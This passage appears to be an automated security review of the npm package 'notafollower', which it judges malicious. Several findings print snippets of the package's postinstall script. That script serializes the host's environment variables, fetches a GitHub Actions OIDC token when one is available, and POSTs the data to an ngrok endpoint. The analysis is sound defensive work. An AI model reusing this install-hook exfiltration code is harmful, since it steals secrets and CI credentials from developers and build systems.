It additionally obtains a GitHub Actions OIDC token when available. - **Trigger:** npm install of notafollower - **Impact:** Leaks environment secrets, host identity, and potentially CI OIDC credentials to an external endpoint. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T20:13:41.323Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** postinstall environment and CI-token exfiltration over HTTPS - **Attack narrative:** During installation, the manifest runs inline Node code that gathers platform, hostname, username, and all environment variables. It sends the serialized data to an external ngrok endpoint. In CI environments exposing GitHub Actions OIDC variables, it first requests the OIDC token and adds it to the outbound payload. Error suppression makes the theft non-blocking for installation. - **Rationale:** Direct source inspection confirms an unconsented install-time collection and external transmission of environment data and CI credentials. This is concrete credential exfiltration, not a package-aligned operation. - **Files touched:** package.json - **Network endpoints:** mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall executes inline Node code during npm installation and suppresses failures., It collects hostname, username, and the complete process environment, then POSTs it to an ngrok host., In GitHub Actions it requests the CI OIDC token and includes it in the exfiltration payload. - **Evidence against:** Package contains no other source files; the manifest’s lifecycle script is the complete observed behavior. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};function s(p){l... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern.

Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Manifest Script Environment Exfiltration - **Category:** Source - **Confidence:** 94.0% - **Path:** package.json\#scripts.postinstall - **Public source:** [View source]() An npm script serializes the process environment and posts it to an external host. Public source snippet (untrusted): ```text scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};function s(p){let b=JSON.stringify(p);let r=https.request({hostname:'mourner-slot-explicit.ngrok-free.dev',path:'/?cross_os_cloud=1',method:'POST',headers:{'Content-Length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}if(process.env.ACTIONS_ID_TOKEN_REQUEST_URL){const u=new URL(process.env.ACTIONS_ID_TOKEN_REQUEST_URL);const q=https.request({hostname:u.hostname,path:u.pathname+u.search,headers:{Authorization:'Bearer '+process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN}},(res)=>{let b='';res.on('data',c=>b+=c);res.on('end',()=>{d.oidc_token=b;s(d);});});q.on('error',()=>s(d));q.end();}els ``` ### 5. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall executes inline Node code during npm installation and suppresses failures. Public source snippet (untrusted): ```json "postinstall": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env}; ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() It collects hostname, username, and the complete process environment, then POSTs it to an ngrok host. Public source snippet (untrusted): ```json function s(p){let b=JSON.stringify(p);let r=https.request({hostname:'mourner-slot-explicit.ngrok-free.dev',path:'/?cross_os_cloud=1',method:'POST',headers:{'Content-Length':Buffer.byteLength(b)}},()=>{}); ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() In GitHub Actions it requests the CI OIDC token and includes it in the exfiltration payload. Public source snippet (untrusted): ```json if(process.env.ACTIONS_ID_TOKEN_REQUEST_URL){const u=new URL(process.env.ACTIONS_ID_TOKEN_REQUEST_URL);const q=https.request({hostname:u.hostname,path:u.pathname+u.search,headers:{Authorization:'Bearer '+process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN}},(res)=>{let b='';res.on('data',c=>b+=c);res.on('end',()=>{d.oidc_token=b;s(d);}); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** notafollower - **Ecosystem:** npm - **Version:** 1.0.5 - **Version published:** 2026-08-13T20:06:13.432Z - **Package first seen:** 2026-08-13T20:13:41.323Z - **Package last seen:** 2026-08-13T20:53:03.980Z - **Known versions:** 4 - **Latest version:** 1.0.11 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 891 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
